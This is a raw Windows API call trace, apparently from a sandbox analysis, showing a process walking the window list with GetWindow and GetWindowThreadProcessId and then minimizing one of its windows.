GetCurrentProcessId () returned 0x110c [0129.367] GetWindow (hWnd=0x2022a, uCmd=0x4) returned 0x0 [0129.367] GetCurrentProcessId () returned 0x110c [0129.367] GetWindow (hWnd=0x20226, uCmd=0x4) returned 0x0 [0129.367] GetCurrentProcessId () returned 0x110c [0129.367] GetWindow (hWnd=0x20222, uCmd=0x4) returned 0x0 [0129.367] GetCurrentProcessId () returned 0x110c [0129.367] GetWindow (hWnd=0x701f8, uCmd=0x4) returned 0x0 [0129.367] GetCurrentProcessId () returned 0x110c [0129.367] GetWindow (hWnd=0x2021a, uCmd=0x4) returned 0x0 [0129.367] GetCurrentProcessId () returned 0x110c [0129.367] GetWindow (hWnd=0x20218, uCmd=0x4) returned 0x0 [0129.368] GetCurrentProcessId () returned 0x110c [0129.368] GetWindow (hWnd=0x20214, uCmd=0x4) returned 0x0 [0129.368] GetCurrentProcessId () returned 0x110c [0129.368] GetWindow (hWnd=0x20210, uCmd=0x4) returned 0x0 [0129.368] GetCurrentProcessId () returned 0x110c [0129.368] GetWindow (hWnd=0x2020c, uCmd=0x4) returned 0x0 [0129.368] GetCurrentProcessId () returned 0x110c [0129.368] GetWindow (hWnd=0x20208, uCmd=0x4) returned 0x0 [0129.368] GetCurrentProcessId () returned 0x110c [0129.368] GetWindow (hWnd=0x20204, uCmd=0x4) returned 0x0 [0129.368] GetCurrentProcessId () returned 0x110c [0129.368] GetWindow (hWnd=0x40200, uCmd=0x4) returned 0x0 [0129.368] GetCurrentProcessId () returned 0x110c [0129.368] GetWindow (hWnd=0x30074, uCmd=0x4) returned 0x0 [0129.368] GetCurrentProcessId () returned 0x110c [0129.368] GetWindow (hWnd=0x3007a, uCmd=0x4) returned 0x0 [0129.368] GetCurrentProcessId () returned 0x110c [0129.368] GetWindow (hWnd=0x50078, uCmd=0x4) returned 0x0 [0129.368] GetCurrentProcessId () returned 0x110c [0129.368] GetWindow (hWnd=0x40072, uCmd=0x4) returned 0x0 [0129.368] GetCurrentProcessId () returned 0x110c [0129.369] GetWindow (hWnd=0x20054, uCmd=0x4) returned 0x0 [0129.369] GetCurrentProcessId () returned 0x110c [0129.369] GetWindow (hWnd=0x20068, uCmd=0x4) returned 0x0 [0129.369] GetCurrentProcessId () returned 0x110c [0129.369] GetWindow (hWnd=0x2005a, uCmd=0x4) returned 0x0 [0129.369] GetCurrentProcessId () returned 0x110c [0129.369] GetWindow (hWnd=0x30058, uCmd=0x4) returned 0x0 [0129.369] GetCurrentProcessId () returned 0x110c [0129.369] GetWindow (hWnd=0x20056, uCmd=0x4) returned 0x0 [0129.369] GetCurrentProcessId () returned 0x110c [0129.369] GetWindow (hWnd=0x40060, uCmd=0x4) returned 0x0 [0129.369] GetCurrentProcessId () returned 0x110c [0129.369] GetWindow (hWnd=0x30176, uCmd=0x4) returned 0x0 [0129.369] GetCurrentProcessId () returned 0x110c [0129.369] GetWindow (hWnd=0x4006a, uCmd=0x4) returned 0x0 [0129.369] GetCurrentProcessId () returned 0x110c [0129.369] GetWindow (hWnd=0x5014e, uCmd=0x4) returned 0x0 [0129.369] GetCurrentProcessId () returned 0x110c [0129.369] GetWindow (hWnd=0x3002a, uCmd=0x4) returned 0x0 [0129.369] GetCurrentProcessId () returned 0x110c [0129.369] GetWindow (hWnd=0x3002c, uCmd=0x4) returned 0x0 [0129.369] GetCurrentProcessId () returned 0x110c [0129.369] GetWindow (hWnd=0x20152, uCmd=0x4) returned 0x0 [0129.369] GetCurrentProcessId () returned 0x110c [0129.370] GetWindow (hWnd=0x20156, uCmd=0x4) returned 0x0 [0129.370] GetCurrentProcessId () returned 0x110c [0129.370] GetWindow (hWnd=0x301b8, uCmd=0x4) returned 0x0 [0129.370] GetCurrentProcessId () returned 0x110c [0129.370] GetWindow (hWnd=0x101fc, uCmd=0x4) returned 0x0 [0129.370] GetCurrentProcessId () returned 0x110c [0129.370] GetWindow (hWnd=0x101f4, uCmd=0x4) returned 0x0 [0129.370] GetCurrentProcessId () returned 0x110c [0129.370] GetWindow (hWnd=0x101d6, uCmd=0x4) returned 0x0 [0129.370] GetCurrentProcessId () returned 0x110c [0129.370] GetWindow (hWnd=0x101d0, uCmd=0x4) returned 0x0 [0129.370] GetCurrentProcessId () returned 0x110c [0129.370] GetWindow (hWnd=0x101cc, uCmd=0x4) returned 0x0 [0129.370] GetCurrentProcessId () returned 0x110c [0129.370] GetWindow (hWnd=0x101c0, uCmd=0x4) returned 0x0 [0129.370] GetCurrentProcessId () returned 0x110c [0129.370] GetWindow (hWnd=0x10198, uCmd=0x4) returned 0x0 [0129.370] GetCurrentProcessId () returned 0x110c [0129.370] GetWindow (hWnd=0x10196, uCmd=0x4) returned 0x0 [0129.370] GetCurrentProcessId () returned 0x110c [0129.370] GetWindow (hWnd=0x10192, uCmd=0x4) returned 0x0 [0129.370] GetCurrentProcessId () returned 0x110c [0129.370] GetWindow (hWnd=0x1014c, uCmd=0x4) returned 0x0 [0129.370] GetCurrentProcessId () returned 0x110c [0129.371] GetWindow (hWnd=0x1018c, uCmd=0x4) returned 0x0 [0129.371] GetCurrentProcessId () returned 0x110c [0129.371] GetWindow (hWnd=0x1018e, uCmd=0x4) returned 0x0 [0129.371] GetCurrentProcessId () returned 0x110c [0129.371] GetWindow (hWnd=0x10144, uCmd=0x4) returned 0x0 [0129.371] GetCurrentProcessId () returned 0x110c [0129.371] GetWindow (hWnd=0x1013c, uCmd=0x4) returned 0x0 [0129.371] GetCurrentProcessId () returned 0x110c [0129.371] GetWindow (hWnd=0x200b2, uCmd=0x4) returned 0x0 [0129.371] GetCurrentProcessId () returned 0x110c [0129.371] GetWindow (hWnd=0x1011a, uCmd=0x4) returned 0x0 [0129.371] GetCurrentProcessId () returned 0x110c [0129.371] GetWindow (hWnd=0x10112, uCmd=0x4) returned 0x0 [0129.371] GetCurrentProcessId () returned 0x110c [0129.371] GetWindow (hWnd=0x1010e, uCmd=0x4) returned 0x0 [0129.371] GetCurrentProcessId () returned 0x110c [0129.371] GetWindow (hWnd=0x1010c, uCmd=0x4) returned 0x0 [0129.371] GetCurrentProcessId () returned 0x110c [0129.371] GetWindow (hWnd=0x100fc, uCmd=0x4) returned 0x0 [0129.371] GetCurrentProcessId () returned 0x110c [0129.371] GetWindow (hWnd=0x100ee, uCmd=0x4) returned 0x0 [0129.371] GetCurrentProcessId () returned 0x110c [0129.371] GetWindow (hWnd=0x100d2, uCmd=0x4) returned 0x100ae [0129.371] GetWindowThreadProcessId (in: hWnd=0x100ae, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x80c [0129.372] GetCurrentProcessId () returned 0x110c [0129.372] GetWindow (hWnd=0x20070, uCmd=0x4) returned 0x0 [0129.372] GetCurrentProcessId () returned 0x110c [0129.372] GetWindow (hWnd=0x100ae, uCmd=0x4) returned 0x0 [0129.372] GetCurrentProcessId () returned 0x110c [0129.372] GetWindow (hWnd=0x10088, uCmd=0x4) returned 0x0 [0129.372] GetCurrentProcessId () returned 0x110c [0129.372] GetWindow (hWnd=0x10082, uCmd=0x4) returned 0x0 [0129.372] GetCurrentProcessId () returned 0x110c [0129.372] GetWindow (hWnd=0x20066, uCmd=0x4) returned 0x0 [0129.372] GetCurrentProcessId () returned 0x110c [0129.372] GetWindow (hWnd=0x20032, uCmd=0x4) returned 0x0 [0129.372] GetCurrentProcessId () returned 0x110c [0129.372] GetWindow (hWnd=0x1003a, uCmd=0x4) returned 0x0 [0129.372] GetCurrentProcessId () returned 0x110c [0129.372] GetWindow (hWnd=0x2006c, uCmd=0x4) returned 0x0 [0129.372] GetCurrentProcessId () returned 0x110c [0129.372] GetWindow (hWnd=0x100f0, uCmd=0x4) returned 0x0 [0129.372] GetCurrentProcessId () returned 0x110c [0129.372] GetWindow (hWnd=0x1015a, uCmd=0x4) returned 0x10158 [0129.372] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xae8 [0129.373] GetCurrentProcessId () returned 0x110c [0129.373] GetWindow (hWnd=0x100e6, uCmd=0x4) returned 0x10092 [0129.373] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x80c [0129.373] GetCurrentProcessId () returned 0x110c [0129.373] GetWindow (hWnd=0x10092, uCmd=0x4) returned 0x10090 [0129.373] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x80c [0129.373] GetCurrentProcessId () returned 0x110c [0129.373] GetWindow (hWnd=0x102b6, uCmd=0x4) returned 0x102b4 [0129.373] GetWindowThreadProcessId (in: hWnd=0x102b4, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xa90 [0129.373] GetCurrentProcessId () returned 0x110c [0129.373] GetWindow (hWnd=0x501e2, uCmd=0x4) returned 0x302ce [0129.373] GetWindowThreadProcessId (in: hWnd=0x302ce, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x112c [0129.373] GetCurrentProcessId () returned 0x110c [0129.373] GetWindow (hWnd=0x302ce, uCmd=0x4) returned 0x202c4 [0129.373] GetCurrentProcessId () returned 0x110c [0129.373] IsWindowVisible (hWnd=0x302ce) returned 0 [0129.374] GetWindow (hWnd=0x202b0, uCmd=0x4) returned 0x202ae [0129.374] GetWindowThreadProcessId (in: hWnd=0x202ae, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x84 [0129.374] GetCurrentProcessId () returned 0x110c [0129.374] GetWindow (hWnd=0x102ac, uCmd=0x4) returned 0x202aa [0129.374] GetWindowThreadProcessId (in: hWnd=0x202aa, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xe78 [0129.374] GetCurrentProcessId () returned 0x110c [0129.374] GetWindow (hWnd=0x102a8, uCmd=0x4) returned 0x202a6 [0129.374] GetWindowThreadProcessId (in: hWnd=0x202a6, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xfdc [0129.374] GetCurrentProcessId () returned 0x110c [0129.374] GetWindow (hWnd=0x102a4, uCmd=0x4) returned 0x102a2 [0129.374] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xe4c [0129.374] GetCurrentProcessId () returned 0x110c [0129.374] GetWindow (hWnd=0x202a0, uCmd=0x4) returned 0x1029e [0129.374] GetWindowThreadProcessId (in: hWnd=0x1029e, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xeb0 [0129.375] GetCurrentProcessId () returned 0x110c [0129.375] GetWindow (hWnd=0x2029c, uCmd=0x4) returned 0x1029a [0129.375] GetWindowThreadProcessId (in: hWnd=0x1029a, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x73c [0129.375] GetCurrentProcessId () returned 0x110c [0129.375] GetWindow (hWnd=0x20298, uCmd=0x4) returned 0x20296 [0129.375] GetWindowThreadProcessId (in: hWnd=0x20296, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x25c [0129.375] GetCurrentProcessId () returned 0x110c [0129.375] GetWindow (hWnd=0x10294, uCmd=0x4) returned 0x10292 [0129.375] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xdf8 [0129.375] GetCurrentProcessId () returned 0x110c [0129.375] GetWindow (hWnd=0x20290, uCmd=0x4) returned 0x2028e [0129.375] GetWindowThreadProcessId (in: hWnd=0x2028e, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xdc0 [0129.375] GetCurrentProcessId () returned 0x110c [0129.375] GetWindow (hWnd=0x1028c, uCmd=0x4) returned 0x20288 [0129.375] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xb0 [0129.376] GetCurrentProcessId () returned 0x110c [0129.376] GetWindow (hWnd=0x1028a, uCmd=0x4) returned 0x20282 [0129.376] GetWindowThreadProcessId (in: hWnd=0x20282, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xd44 [0129.376] GetCurrentProcessId () returned 0x110c [0129.376] GetWindow (hWnd=0x10286, uCmd=0x4) returned 0x20280 [0129.376] GetWindowThreadProcessId (in: hWnd=0x20280, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xd0c [0129.376] GetCurrentProcessId () returned 0x110c [0129.376] GetWindow (hWnd=0x10284, uCmd=0x4) returned 0x1027e [0129.376] GetWindowThreadProcessId (in: hWnd=0x1027e, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x484 [0129.376] GetCurrentProcessId () returned 0x110c [0129.376] GetWindow (hWnd=0x2027c, uCmd=0x4) returned 0x20278 [0129.376] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xff8 [0129.376] GetCurrentProcessId () returned 0x110c [0129.376] GetWindow (hWnd=0x1027a, uCmd=0x4) returned 0x20274 [0129.376] GetWindowThreadProcessId (in: hWnd=0x20274, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xfc0 [0129.376] GetCurrentProcessId () returned 0x110c [0129.376] GetWindow (hWnd=0x10276, uCmd=0x4) returned 0x20272 [0129.376] GetWindowThreadProcessId (in: hWnd=0x20272, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xf14 [0129.377] GetCurrentProcessId () returned 0x110c [0129.377] GetWindow (hWnd=0x10270, uCmd=0x4) returned 0x2026c [0129.377] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xf78 [0129.377] GetCurrentProcessId () returned 0x110c [0129.377] GetWindow (hWnd=0x1026e, uCmd=0x4) returned 0x20268 [0129.377] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xdac [0129.377] GetCurrentProcessId () returned 0x110c [0129.377] GetWindow (hWnd=0x1026a, uCmd=0x4) returned 0x20264 [0129.377] GetWindowThreadProcessId (in: hWnd=0x20264, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xf04 [0129.377] GetCurrentProcessId () returned 0x110c [0129.377] GetWindow (hWnd=0x10266, uCmd=0x4) returned 0x20260 [0129.377] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xda8 [0129.377] GetCurrentProcessId () returned 0x110c [0129.377] GetWindow (hWnd=0x10262, uCmd=0x4) returned 0x2025e [0129.377] GetWindowThreadProcessId (in: hWnd=0x2025e, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xf64 [0129.378] GetCurrentProcessId () returned 0x110c [0129.378] GetWindow (hWnd=0x1025c, uCmd=0x4) returned 0x2025a [0129.378] GetWindowThreadProcessId (in: hWnd=0x2025a, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xf60 [0129.378] GetCurrentProcessId () returned 0x110c [0129.378] GetWindow (hWnd=0x10258, uCmd=0x4) returned 0x20256 [0129.378] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xeb8 [0129.378] GetCurrentProcessId () returned 0x110c [0129.378] GetWindow (hWnd=0x10254, uCmd=0x4) returned 0x20252 [0129.378] GetWindowThreadProcessId (in: hWnd=0x20252, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xec4 [0129.378] GetCurrentProcessId () returned 0x110c [0129.378] GetWindow (hWnd=0x10250, uCmd=0x4) returned 0x2024e [0129.378] GetWindowThreadProcessId (in: hWnd=0x2024e, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xf4 [0129.378] GetCurrentProcessId () returned 0x110c [0129.378] GetWindow (hWnd=0x1024c, uCmd=0x4) returned 0x2024a [0129.378] GetWindowThreadProcessId (in: hWnd=0x2024a, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xba0 [0129.378] GetCurrentProcessId () returned 0x110c [0129.378] GetWindow (hWnd=0x10248, uCmd=0x4) returned 0x20246 [0129.378] GetWindowThreadProcessId (in: hWnd=0x20246, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xe90 [0129.379] GetCurrentProcessId () returned 0x110c [0129.379] GetWindow (hWnd=0x10244, uCmd=0x4) returned 0x20242 [0129.379] GetWindowThreadProcessId (in: hWnd=0x20242, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xe84 [0129.379] GetCurrentProcessId () returned 0x110c [0129.379] GetWindow (hWnd=0x10240, uCmd=0x4) returned 0x2023e [0129.379] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x824 [0129.379] GetCurrentProcessId () returned 0x110c [0129.379] GetWindow (hWnd=0x1023c, uCmd=0x4) returned 0x2023a [0129.379] GetWindowThreadProcessId (in: hWnd=0x2023a, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x728 [0129.379] GetCurrentProcessId () returned 0x110c [0129.379] GetWindow (hWnd=0x10238, uCmd=0x4) returned 0x20234 [0129.379] GetWindowThreadProcessId (in: hWnd=0x20234, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x5f0 [0129.379] GetCurrentProcessId () returned 0x110c [0129.379] GetWindow (hWnd=0x10236, uCmd=0x4) returned 0x10232 [0129.379] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xdec [0129.380] GetCurrentProcessId () returned 0x110c [0129.380] GetWindow (hWnd=0x20230, uCmd=0x4) returned 0x2022e [0129.380] GetWindowThreadProcessId (in: hWnd=0x2022e, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x3b8 [0129.380] GetCurrentProcessId () returned 0x110c [0129.380] GetWindow (hWnd=0x1022c, uCmd=0x4) returned 0x2022a [0129.380] GetWindowThreadProcessId (in: hWnd=0x2022a, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x2d4 [0129.380] GetCurrentProcessId () returned 0x110c [0129.380] GetWindow (hWnd=0x10228, uCmd=0x4) returned 0x20226 [0129.380] GetWindowThreadProcessId (in: hWnd=0x20226, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x1fc [0129.380] GetCurrentProcessId () returned 0x110c [0129.380] GetWindow (hWnd=0x10224, uCmd=0x4) returned 0x20222 [0129.380] GetWindowThreadProcessId (in: hWnd=0x20222, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xdb4 [0129.380] GetCurrentProcessId () returned 0x110c [0129.380] GetWindow (hWnd=0x10220, uCmd=0x4) returned 0x701f8 [0129.380] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xa08 [0129.380] GetCurrentProcessId () returned 0x110c [0129.381] GetWindow (hWnd=0x2021e, uCmd=0x4) returned 0x2021a [0129.381] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xa84 [0129.381] GetCurrentProcessId () returned 0x110c [0129.381] GetWindow (hWnd=0x1021c, uCmd=0x4) returned 0x20218 [0129.381] GetWindowThreadProcessId (in: hWnd=0x20218, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x58c [0129.381] GetCurrentProcessId () returned 0x110c [0129.381] GetWindow (hWnd=0x10216, uCmd=0x4) returned 0x20214 [0129.381] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xe00 [0129.381] GetCurrentProcessId () returned 0x110c [0129.381] GetWindow (hWnd=0x10212, uCmd=0x4) returned 0x20210 [0129.381] GetWindowThreadProcessId (in: hWnd=0x20210, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xa7c [0129.381] GetCurrentProcessId () returned 0x110c [0129.381] GetWindow (hWnd=0x1020e, uCmd=0x4) returned 0x2020c [0129.381] GetWindowThreadProcessId (in: hWnd=0x2020c, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xc1c [0129.381] GetCurrentProcessId () returned 0x110c [0129.381] GetWindow (hWnd=0x1020a, uCmd=0x4) returned 0x20208 [0129.381] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x888 [0129.382] GetCurrentProcessId () returned 0x110c [0129.382] GetWindow (hWnd=0x10206, uCmd=0x4) returned 0x20204 [0129.382] GetWindowThreadProcessId (in: hWnd=0x20204, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xbb0 [0129.382] GetCurrentProcessId () returned 0x110c [0129.382] GetWindow (hWnd=0x20202, uCmd=0x4) returned 0x40200 [0129.382] GetWindowThreadProcessId (in: hWnd=0x40200, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xdd4 [0129.382] GetCurrentProcessId () returned 0x110c [0129.382] GetWindow (hWnd=0x401e6, uCmd=0x4) returned 0x30074 [0129.382] GetWindowThreadProcessId (in: hWnd=0x30074, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xd8c [0129.382] GetCurrentProcessId () returned 0x110c [0129.382] GetWindow (hWnd=0x20076, uCmd=0x4) returned 0x3007a [0129.382] GetWindowThreadProcessId (in: hWnd=0x3007a, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xd80 [0129.382] GetCurrentProcessId () returned 0x110c [0129.382] GetWindow (hWnd=0x3007c, uCmd=0x4) returned 0x50078 [0129.382] GetWindowThreadProcessId (in: hWnd=0x50078, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x798 [0129.382] GetCurrentProcessId () returned 0x110c [0129.382] GetWindow (hWnd=0x30062, uCmd=0x4) returned 0x40072 [0129.383] GetWindowThreadProcessId (in: hWnd=0x40072, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xa70 [0129.383] GetCurrentProcessId () returned 0x110c [0129.383] GetWindow (hWnd=0x30052, uCmd=0x4) returned 0x20054 [0129.383] GetWindowThreadProcessId (in: hWnd=0x20054, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x6dc [0129.383] GetCurrentProcessId () returned 0x110c [0129.383] GetWindow (hWnd=0x30050, uCmd=0x4) returned 0x20068 [0129.383] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xd4c [0129.383] GetCurrentProcessId () returned 0x110c [0129.383] GetWindow (hWnd=0x3004e, uCmd=0x4) returned 0x2005a [0129.383] GetWindowThreadProcessId (in: hWnd=0x2005a, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x774 [0129.383] GetCurrentProcessId () returned 0x110c [0129.383] GetWindow (hWnd=0x3004a, uCmd=0x4) returned 0x30058 [0129.383] GetWindowThreadProcessId (in: hWnd=0x30058, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x680 [0129.383] GetCurrentProcessId () returned 0x110c [0129.383] GetWindow (hWnd=0x201ea, uCmd=0x4) returned 0x20056 [0129.383] GetWindowThreadProcessId (in: hWnd=0x20056, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xcfc [0129.383] GetCurrentProcessId () returned 0x110c [0129.384] GetWindow (hWnd=0x3005e, uCmd=0x4) returned 0x40060 [0129.384] GetWindowThreadProcessId (in: hWnd=0x40060, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xd18 [0129.384] GetCurrentProcessId () returned 0x110c [0129.384] GetWindow (hWnd=0x5007e, uCmd=0x4) returned 0x30176 [0129.384] GetWindowThreadProcessId (in: hWnd=0x30176, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x790 [0129.384] GetCurrentProcessId () returned 0x110c [0129.384] GetWindow (hWnd=0x201da, uCmd=0x4) returned 0x4006a [0129.384] GetWindowThreadProcessId (in: hWnd=0x4006a, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x794 [0129.384] GetCurrentProcessId () returned 0x110c [0129.384] GetWindow (hWnd=0x501e0, uCmd=0x4) returned 0x5014e [0129.384] GetWindowThreadProcessId (in: hWnd=0x5014e, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x51c [0129.384] GetCurrentProcessId () returned 0x110c [0129.384] GetWindow (hWnd=0x50048, uCmd=0x4) returned 0x3002a [0129.384] GetWindowThreadProcessId (in: hWnd=0x3002a, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x4ec [0129.384] GetCurrentProcessId () returned 0x110c [0129.384] GetWindow (hWnd=0x40044, uCmd=0x4) returned 0x3002c [0129.384] GetWindowThreadProcessId (in: hWnd=0x3002c, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x384 [0129.385] GetCurrentProcessId () returned 0x110c [0129.385] GetWindow (hWnd=0x30106, uCmd=0x4) returned 0x20152 [0129.385] GetWindowThreadProcessId (in: hWnd=0x20152, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x4e4 [0129.385] GetCurrentProcessId () returned 0x110c [0129.385] GetWindow (hWnd=0x30154, uCmd=0x4) returned 0x20156 [0129.385] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xcd8 [0129.385] GetCurrentProcessId () returned 0x110c [0129.385] GetWindow (hWnd=0x30150, uCmd=0x4) returned 0x301b8 [0129.385] GetWindowThreadProcessId (in: hWnd=0x301b8, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x518 [0129.385] GetCurrentProcessId () returned 0x110c [0129.385] GetWindow (hWnd=0x101fe, uCmd=0x4) returned 0x101fc [0129.385] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xcc8 [0129.385] GetCurrentProcessId () returned 0x110c [0129.385] GetWindow (hWnd=0x101ce, uCmd=0x4) returned 0x101cc [0129.385] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xc98 [0129.385] GetCurrentProcessId () returned 0x110c [0129.386] GetWindow (hWnd=0x101c2, uCmd=0x4) returned 0x101c0 [0129.386] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xc9c [0129.386] GetCurrentProcessId () returned 0x110c [0129.386] GetWindow (hWnd=0x10194, uCmd=0x4) returned 0x10192 [0129.386] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xc38 [0129.386] GetCurrentProcessId () returned 0x110c [0129.386] GetWindow (hWnd=0x1011e, uCmd=0x4) returned 0x10080 [0129.386] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x5cc [0129.386] GetCurrentProcessId () returned 0x110c [0129.386] GetWindow (hWnd=0x10110, uCmd=0x4) returned 0x1010e [0129.386] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x940 [0129.386] GetCurrentProcessId () returned 0x110c [0129.386] GetWindow (hWnd=0x100fe, uCmd=0x4) returned 0x100fc [0129.386] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x8f8 [0129.386] GetCurrentProcessId () returned 0x110c [0129.387] GetWindow (hWnd=0x1008a, uCmd=0x4) returned 0x10088 [0129.387] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x7b4 [0129.387] GetCurrentProcessId () returned 0x110c [0129.387] GetWindow (hWnd=0x10080, uCmd=0x4) returned 0x100f0 [0129.387] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x5cc [0129.387] GetCurrentProcessId () returned 0x110c [0129.387] ShowOwnedPopups (hWnd=0x302ce, fShow=0) returned 1 [0129.387] IsWindowEnabled (hWnd=0x202c4) returned 1 [0129.387] IsWindowEnabled (hWnd=0x302c0) returned 0 [0129.387] SystemParametersInfoW (in: uiAction=0x48, uiParam=0x8, pvParam=0x19ff20, fWinIni=0x0 | out: pvParam=0x19ff20) returned 1 [0129.387] SystemParametersInfoW (in: uiAction=0x49, uiParam=0x8, pvParam=0x19ff24, fWinIni=0x0 | out: pvParam=0x19ff24) returned 1 [0129.466] ShowWindow (hWnd=0x202c4, nCmdShow=6) returned 0 [0129.466] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0130.771] 